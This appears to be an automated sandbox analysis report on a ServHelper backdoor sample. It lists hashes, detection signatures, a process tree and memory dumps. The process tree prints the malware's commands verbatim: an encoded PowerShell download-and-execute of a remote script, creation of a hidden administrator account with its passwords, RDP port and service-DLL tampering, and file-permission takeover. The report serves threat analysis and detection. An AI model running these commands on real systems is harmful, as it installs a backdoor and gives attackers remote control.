Resubmissions

02-09-2021 16:57

210902-vgpzjadhhn 10

02-09-2021 16:25

210902-tw1h5sage4 10

02-09-2021 11:31

210902-9dk89x9wb2 10

14-08-2021 13:56

210814-xdxpv1yk2x 10

Analysis

  • max time kernel
    1793s
  • max time network
    1818s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    02-09-2021 16:57

General

  • Target

    472208d7ba18d4c14b7e90b9db5d6feb.exe

  • Size

    5.9MB

  • MD5

    472208d7ba18d4c14b7e90b9db5d6feb

  • SHA1

    ff24cc43998ff99e61b1a838e1d51c4888498935

  • SHA256

    ae1c9d454905ed43654f99b1ea1e8ecc3ae08eb75c3860f46b285ce724ae5e4d

  • SHA512

    9ce72c4da799273ae13008c0033c3d0638f224042ae3bb7910ffb5f59a64babbcd8039468b0a94b8fa5f3192f543a59f493878ade5233d9958d874d59a1e1a15

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 60 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe
    "C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe"
    1⤵
    • Modifies system certificate store
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1988
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1052
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nvz35czb\nvz35czb.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1144
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES628A.tmp" "c:\Users\Admin\AppData\Local\Temp\nvz35czb\CSC99544D2CD3E145CBA66C6CC2C2D335F2.TMP"
          4⤵
            PID:1060
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1360
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1372
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1660
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1412
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:900
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1312
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1060
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:620
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1496
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1864
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1588
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1032
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1784
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1300
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:656
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:944
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1596
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1664
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1524
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:2032
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1264
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1252
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:1696
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1260
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1012
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:1040
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:1144
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:1312
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:1344
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc khdb71uf /add
                                  1⤵
                                    PID:1836
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc khdb71uf /add
                                      2⤵
                                        PID:1496
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc khdb71uf /add
                                          3⤵
                                            PID:796
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:1032
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:1916
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:1552
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                              1⤵
                                                PID:1908
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                  2⤵
                                                    PID:1664
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                      3⤵
                                                        PID:572
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:1948
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:1340
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1548
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc khdb71uf
                                                          1⤵
                                                            PID:1864
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc khdb71uf
                                                              2⤵
                                                                PID:860
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc khdb71uf
                                                                  3⤵
                                                                    PID:864
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:656
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1032
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:572
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1344
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1548
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1784
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:940
                                                                      • C:\Windows\System32\cmd.exe
                                                                        cmd.exe /C net user wgautilacc 111213&net user wgautilacc /active:yes
                                                                        1⤵
                                                                          PID:1060
                                                                          • C:\Windows\system32\net.exe
                                                                            net user wgautilacc 111213
                                                                            2⤵
                                                                              PID:1772
                                                                              • C:\Windows\system32\net1.exe
                                                                                C:\Windows\system32\net1 user wgautilacc 111213
                                                                                3⤵
                                                                                  PID:1764
                                                                              • C:\Windows\system32\net.exe
                                                                                net user wgautilacc /active:yes
                                                                                2⤵
                                                                                  PID:1964
                                                                                  • C:\Windows\system32\net1.exe
                                                                                    C:\Windows\system32\net1 user wgautilacc /active:yes
                                                                                    3⤵
                                                                                      PID:1892

                                                                                Network

                                                                                MITRE ATT&CK Enterprise v6

                                                                                Replay Monitor

                                                                                Loading Replay Monitor...

                                                                                Downloads

                                                                                • memory/940-239-0x000000001944A000-0x0000000019469000-memory.dmp

                                                                                  Filesize

                                                                                  124KB

                                                                                • memory/940-208-0x0000000019440000-0x0000000019442000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/940-209-0x0000000019444000-0x0000000019446000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1052-158-0x000000001C850000-0x000000001C851000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1052-72-0x000000001ABC4000-0x000000001ABC6000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1052-71-0x000000001ABC0000-0x000000001ABC2000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1052-70-0x0000000001F50000-0x0000000001F51000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1052-69-0x0000000001E00000-0x0000000001E01000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1052-68-0x000000001AC40000-0x000000001AC41000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1052-67-0x0000000001F10000-0x0000000001F11000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1052-66-0x000007FEFB7B1000-0x000007FEFB7B3000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1052-86-0x00000000025D0000-0x00000000025D1000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1052-74-0x000000001B4F0000-0x000000001B4F1000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1052-85-0x000000001C270000-0x000000001C271000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1052-101-0x000000001ABCA000-0x000000001ABE9000-memory.dmp

                                                                                  Filesize

                                                                                  124KB

                                                                                • memory/1052-84-0x000000001B820000-0x000000001B821000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1052-82-0x00000000003C0000-0x00000000003C1000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1360-99-0x000000001A900000-0x000000001A901000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1360-93-0x00000000025E4000-0x00000000025E6000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1360-120-0x000000001BA40000-0x000000001BA41000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1360-95-0x0000000002590000-0x0000000002591000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1360-97-0x000000001B6B0000-0x000000001B6B1000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1360-119-0x000000001B740000-0x000000001B741000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1360-100-0x0000000002420000-0x0000000002421000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1360-92-0x00000000025E0000-0x00000000025E2000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1360-106-0x000000001BA00000-0x000000001BA01000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1372-127-0x000000001ABA4000-0x000000001ABA6000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1372-131-0x000000001AAF0000-0x000000001AAF1000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1372-129-0x0000000002590000-0x0000000002591000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1372-133-0x000000001A950000-0x000000001A951000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1372-134-0x0000000002330000-0x0000000002331000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1372-126-0x000000001ABA0000-0x000000001ABA2000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1660-149-0x000000001ABD0000-0x000000001ABD2000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1660-150-0x000000001ABD4000-0x000000001ABD6000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1988-64-0x00000000411B7000-0x00000000411B8000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1988-61-0x00000000411B2000-0x00000000411B4000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1988-63-0x00000000411B6000-0x00000000411B7000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1988-62-0x00000000411B4000-0x00000000411B6000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1988-59-0x0000000041650000-0x0000000041A70000-memory.dmp

                                                                                  Filesize

                                                                                  4.1MB